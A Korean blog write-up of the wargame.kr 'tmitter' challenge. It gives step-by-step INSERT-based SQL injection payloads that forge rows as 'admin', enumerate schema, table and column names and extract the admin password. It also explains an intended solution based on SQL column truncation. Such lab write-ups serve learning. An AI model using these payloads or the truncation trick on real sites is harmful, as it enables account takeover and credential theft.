wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 tmitter 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 문제인데, 저는 삽질로 풀었습니다.

사실 답을 알고나서 하하하 했습니다 ㅋㅋㅋㅋ



 

 문제 이해


문제는 다음과 같습니다.


위의 문제에서 tmitter_user에 대한 테이블 정보가 있었네요.

그거도 모르고 헛짓을 하고 있었네요.


두 가지나.. ㅎㅎ


먼저 사용자 계정 정보가 id 32글자, pw 32글자로 이루어져 있습니다.

이를 이용한 취약점이 존재하지만, 저는 다른 방법으로 먼저 풀이를 진행하도록 하겠습니다.



저는 먼저 계정을 만들어 들어갔습니다.


간단하게 하나 만들고 Sign in을 하고 들어갔더니 다음과 같이 입력창이 나타나 있었습니다.


여기에 값을 입력하거나 다른 사람이 값을 입력한 것이 들어가 있는 것을 볼 수 있었습니다.

그래서 그냥 단순히 우리가 입력한 값이 Insert SQL 문일 것이라고 판단했습니다.




 

 문제 풀이 - insert 문 이용



그러면 어디에 어떻게 입력된 것인지 Insert 문에 몇 개의 요소로 몇 가지가 있을 것인지 추측하기 위해 별 걸 다 넣어봤습니다.


결론은 다음과 같은 값을 넣었을 때 값이 들어가지는 것을 볼 수 있었습니다.


your text', 'some string')# 

위의 값을 넣었을 때 아마 다음과 같은 결과가 나타났을 것 같습니다.


insert into table_name values(idx, 'id value', 'your input value', 'something value')# some values)


그렇다면 저 뒤에 값을 더 넣어서, admin으로 계정 정보를 바꾼다면 어떻게 될까 살펴봤습니다.


다음과 같은 값을 넣으니 admin으로 값이 입력된 것처럼 바꼈습니다.


tmeet=1','2'),(0,'admin','I am admin!! hahaahahahahahaha','4');#



제 아이디로 들어간 값이 tmeet=1 이라는 문자열이 들어가고,

idx에 0이라는 값을 대충 입력하고, id value 쪽에는 admin을 입력하고, 값을 입력하니,

마치 admin이 입력한 값인 것처럼 입력되었습니다.


아마 계정 이름이 admin이면 admin인 것으로 그림이 바뀌는 것 같습니다.


이제 여기를 이용해서 schema 이름 가져오고, table 이름 가져오고, column 이름을 가져왔습니다.


 

 schema 이름 가져오기


tmeet=1','2'),(0,'admin',(select table_schema from information_schema.tables where table_name='tmitter_tmeets'),'4');#

결과 : tmitter



 

 table 이름 가져오기


tmeet=1','2'),(0,'admin',(select table_name from information_schema.columns where column_name='ps'),'4');#

결과 : tmitter_user



 

 column 이름 가져오기

tmeet=1','2'),(0,'admin',(select column_name from information_schema.columns where table_name='tmitter_user' limit 0,1),'4');#

tmeet=1','2'),(0,'admin',(select column_name from information_schema.columns where table_name='tmitter_user' limit 1,1),'4');#

tmeet=1','2'),(0,'admin',(select column_name from information_schema.columns where table_name='tmitter_user' limit 2,1),'4');#

결과 : 각각 idx, id, ps



 

 admin 아이디의 비밀번호 알아내기


tmeet=1','2'),(0,'admin',(select ps from tmitter.tmitter_user where id='admin'),'4');#

결과 : iD0nTkn0wpassw0rd..!!



저는 위의 비밀번호로 이걸로 로그인해서 들어갔습니다.





 

 문제 풀이 - 정석


admin으로 로그인하려는데, 이미 회원가입이 되어 있다고 합니다.

일단 테스트로 계정을 하나 만들어서 비밀번호를 바꿔봤더니, join에서 비밀번호가 특정 방법을 통해 변하는 것을 확인했습니다.


방법은 다음과 같습니다.


admin의 경우 회원가입 페이지에 32글자가 넘어가게 되면 php에서는 admin과 다른 글자로 알아먹지만,

mysql은 32글자만 받아들여, admin으로 인식하게 됩니다.


이로 인해 join 페이지를 통해 admin의 비밀번호를 바꿀 수 있게 되고,

여기서 admin의 비밀번호를 7글자 1234567로 변하게 됩니다.


바뀐 비밀번호를 통해 로그인하게 되면 정답이 나타나게 됩니다.


+ Recent posts